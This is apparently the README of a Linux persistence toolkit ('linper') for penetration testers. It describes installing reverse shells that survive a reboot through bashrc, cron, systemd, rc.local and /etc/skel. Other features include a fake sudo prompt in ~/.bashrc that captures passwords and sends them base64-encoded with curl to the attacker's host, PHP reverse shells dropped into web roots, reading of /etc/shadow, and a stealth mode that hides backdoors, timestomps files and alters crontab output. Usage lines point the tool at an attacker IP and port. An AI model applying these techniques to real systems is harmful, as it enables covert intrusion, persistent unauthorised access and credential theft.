linux persistence toolkit
- countermeasures/ - ways to harden/monitor common persistence mechanisms
- powershell/ - placeholder for the eventual winper
- CONTRIBUTE.md - notes on contributing to this project
- README.md - or not
- TODO.md - planned fixes & enhancements
- linper.sh - execute me
- enumerate programs that can be used to execute a reverse shells and ways to make them persist a reboot
- automatically install reverse shells with all the required syntax, redirection, and pipes to minimize printing errors to screen or interrupting normal functions and processes
- supply custom crontab schedules for reverse shells
- look through /etc/shadow for accounts that can login via a password
- support for a stealth mode and the ability to clean up after itself
- place a function in ~/.bashrc to intercept and exfil sudo passwords
- place php reverse shells in web server directories
huge shoutout to the maintainers and contributers of GTFOBins as their great resource laid the groundwork for much of this tool
also, thanks to Null Byte and this article for the idea and some of the code behind the Sudo Hijack Attack as implemented in this tool
lastly, thank you to PayloadAllTheThings for their examples on this too.
bash linper.sh --dryrun
bash linper.sh -d
bash linper.sh --rhost 10.10.10.10 --rport 4444
bash linper.sh -i 10.10.10.10 -p 4444
bash linper.sh --rhost 10.10.10.10 --rport 4444 --stealth-mode
bash linper.sh -i 10.10.10.10 -p 4444 -s
bash linper.sh --rhost 10.10.10.10 --clean
bash linper.sh -i 10.10.10.10 -c
bash linper.sh --enum-defenses
bash linper.sh -e
run bash linper.sh --examples
to see all usage examples
-
enumerating methods and doors - the script enumerates binaries that can be used for executing a reverse shell (methods, e.g. bash), and then for each of those, it enumerates ways to make them persist (doors, e.g. crontab). If dryrun is not set, every possible method and door pair is installed (the doors, and how often they execute, are explained in greater detail below)
-
sudo hijack attack - enumerates whether or not the current user can sudo, if so, and if dryrun not set, it installs a function in their bashrc to "hijack" that binary
-
web server poison attack - enumerates whether or not the webserver's directories are writable and, if so and dryrun is not set, place a PHP reverse shell in them
-
shadow file enumeration - enumerates whether or not the shadow file is readable, if dryrun is not set then it will grep for non-system accounts
-s, --stealth-mode various trivial modifications in an attempt to hide the backdoors from humans
-
makes the files related to installing services hidden by prepending a "."
-
disables the ability to append methods to the bashrc - because if a connection fails it is noisy and prints to the screen
-
creates a
crontab
function in ~/.bashrc to override the-r
and-l
flags.-r
is changed to remove all crontab entries except your reverse shells.-l
is changed to list all the existing cron jobs except your reverse shells -
converts ipv4 to decimal format
-
timestomps files modified to match the modification time of
/etc/passwd
-
to remove shells from the bashrc (current user's and /etc/skel), it simply greps out any lines with the given RHOST and creates a temp file which is then used to replace the respective file
-
to remove shells from /etc/crontab and /var/spool/cron/crontabs. for /etc/crontab, it greps out any lines containing the supplied RHOST. for contab spool, it attempts to grep out any lines with the given RHOST from
crontab -l
, then greps for any remaining[a-zA-Z0-9]
characters and pipes that to crontab. If the install fails, it assumes there are no other cron jobs so it runscrontab -r
-
to remove reverse shells from systemctl service files, it looks for the any file with the given RHOST in it and then looks for the name of said file in any other file and removes both
-
to remove shells from /etc/rc.local, it simply greps out any reference to the given RHOST and if the remaining file is two lines long it assumes there was nothing else to execute in rc.local so it removes the file (it checks for two lines because, at minimum, it must start with
!#/bin/sh -e
and end withexit 0
) -
to remove the
crontab
function installed by-s, --stealth-mode
, it looks for the provided RHOST in ~/.bashrc and the string "function crontab". If both return true then it uses sed and grep to remove the function itself, writes to a temp file, and then replaces ~/.bashrc with the temp file -
to remove the
sudo
function, it looks for the provided RHOST, various variable names used by the function, and the string "function sudo". If all return true, then it uses sed and grep to remove the function itself, writes to a temp file, and then replaces ~/.bashrc with the temp file -
to remove reverse shells from the web root and /etc/cron.*, recursively greps for any file containing the provided RHOST and removes each file it finds
this will explain how often different programs installed by the tool will execute
how often a reverse shell installed using each door will callback
- bashrc, every time bash initializes for the user it was installed with (e.g. interactive shell, or running "/bin/bash")
- /var/spool/cron/crontabs/user, /etc/crontab, and /etc/cron.d/, custom (defualt: every minute)
- /etc/cron.hourly/, /etc/cron.daily/, /etc/cron.weekly/, /etc/cron.monthly/ - based on the settings in /etc/crontab
- systemctl, at system startup
- /etc/rc.local, at system startup
- /etc/skel/.bashrc, after a new user is created, and then any time that user initializes bash
how often the sudo
alias will attempt to exfil passwords
- every time
sudo
is executed by the account linper was ran as - make sure to have a web server running on port 443 on the IP you provided as the
-i, --rhost
- when linper is executed it puts a
sudo
function in the bashrc of the current user
after it is installed and once sudo
is executed, the alias will:
- takes note of where the actual
sudo
program is located on the system - determines where to create a file to store exfiltrated passwords
- creates a fake
sudo
prompt and stores the input (password) as a variable - puts the contents of the variable in the file from step 3
- sorts and deduplicates aforementioned file
- base64 encodes the contents of the file and stores it as a variable
- uses
curl
to exfiltrate the base64 as a GET parameter to https://$RHOST/ - runs
exit
with the actualsudo
program to start the sudo session timer - runs the supplied input of the original
sudo
command (not the password, but the program and arguments) with the actualsudo
binary
- uses /etc/passwd to find the web root
- installs php reverse shells in all writable directories under web root